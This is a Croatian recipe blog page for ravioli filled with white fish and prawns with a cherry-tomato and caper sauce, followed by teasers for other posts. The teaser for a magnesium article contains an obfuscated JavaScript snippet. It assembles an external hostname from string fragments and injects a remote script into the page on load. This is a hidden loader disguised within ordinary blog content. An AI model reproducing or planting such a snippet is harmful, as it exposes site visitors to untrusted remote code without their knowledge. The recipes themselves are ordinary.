RAVIOLI PUNJENI BIJELOM RIBOM I KOZICAMA




Ravioli punjeni bijelom ribom i kozicama 



Ovaj recept donosi kreativni odmak od tradicionalnog brudeta, pretvarajući prepoznatljive okuse mora u profinjeno, svečano jelo. Ručno rađeni svježi ravioli kriju svilenkasti nadjev od fine bijele ribe i kozica, dok im jednostavan, ali aromatičan umak od cherry rajčica, češnjaka i kapara daje savršenu mediteransku svježinu.




Ravioli punjeni bijelom ribom i kozicama 


Sastojci:

Tijesto s jajima:


  • 300 g glatkog brašna tip 00
  • 2 jaja
  • 1 prstohvat soli


Nadjev:

  • 200 g fileta bijele ribe
  • 100 g očišćenih kozica
  • 2 žlice ekstra djevičanskog maslinovog ulja
  • 1 mali mladi luk
  • sol
  • papar

Umak:

  • 250 g cherry rajčica
  • 4 žlice ekstra djevičanskog maslinovog ulja
  • 2 češnja češnjaka
  • 2 žlice vrlo sitno nasjeckanog svježeg peršina
  • 1 i pol žlica kapara u soli
  • sol



Priprema:

Najprije pripremite nadjev za raviole.

U širokoj tavi zagrijte sitno nasjeckani mladi luk s maslinovim uljem. Zatim dodajte filete ribe i očišćene kozice i pecite oko 1 minutu sa svake strane. Dodajte 3 do 4 žlice vode i svježe mljeveni papar. Smanjite vatru i poklopite. Kuhajte na laganoj vatri oko 15 minuta, dok ne bude potpuno kuhano. Zatim sve prebacite u blender ili usitnite štapnim mikserom. Kada dobijete glatku i kremastu smjesu, kušajte i po potrebi posolite. Nadjev treba biti mekan i kompaktan, ali ne suh. Ako je pregust, dodajte još 1 žličicu maslinova ulja ili 1 žličicu vode. Ostavite nadjev da se potpuno ohladi.




Pripremite svježe tijesto:

Na radnu površinu stavite brašno s udubljenjem u sredini. U sredinu dodajte jaja i sol. Vilicom postupno umiješajte brašno prema sredini, zatim zamijesite glatko tijesto i oblikujte kuglu. Zamotajte tijesto u prozirnu foliju i ostavite da odmori na sobnoj temperaturi. Podijelite tijesto na 4 dijela. Razvaljajte svaki dio na pobrašnjenoj površini tankim valjkom ili pomoću stroja za tjesteninu, do debljine 2 do 3 mm. Trebat ćete dobiti duge trake tijesta. Na jednu traku tijesta stavljajte po 1 i pol žličicu nadjeva, ostavljajući razmak od oko 3 cm između hrpica. Nadjev lagano pritisnite da bude kompaktan. Prekrijte drugom trakom tijesta. Prstima dobro pritisnite tijesto oko nadjeva kako biste istisnuli zrak i zatvorili rubove, stvarajući male “kupole”. Rezačem za tjesteninu ili kalupom za raviole izrežite kvadrate.




Zatim pripremite umak:

Isperite kapare kako biste uklonili višak soli, a zatim ih sitno nasjeckajte zajedno s polovicom peršina. U široku tavu, dovoljno veliku da kasnije u njoj promiješate raviole, ulijte maslinovo ulje i dodajte oguljene, lagano zgnječene češnjeve češnjaka. Pirjajte oko 1 minutu. Dodajte oprane cherry rajčice prerezane na pola. Pirjajte na jačoj vatri oko 1 minutu, zatim dodajte kapare i peršin. Smanjite vatru, poklopite i kuhajte još 3 minute. Posolite tek na kraju.



Kuhanje i serviranje:

Kad je umak gotovo gotov, zakuhajte veliki lonac posoljene vode. Skuhajte raviole, koji su gotovi kada isplivaju na površinu. U međuvremenu zagrijavajte umak na laganoj vatri. Kuhane raviole vadite šupljom žlicom izravno u tavu s umakom. Dodajte malo maslinova ulja, preostali sitno nasjeckani peršin i, po potrebi, 2 žlice vode od kuhanja kako bi se umak bolje povezao s raviolima. Po želji dodajte i malo svježe mljevenog papra. Lagano ih promiješajte na srednje jakoj vatri dok ne budu ravnomjerno obloženi umakom i sjajni.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više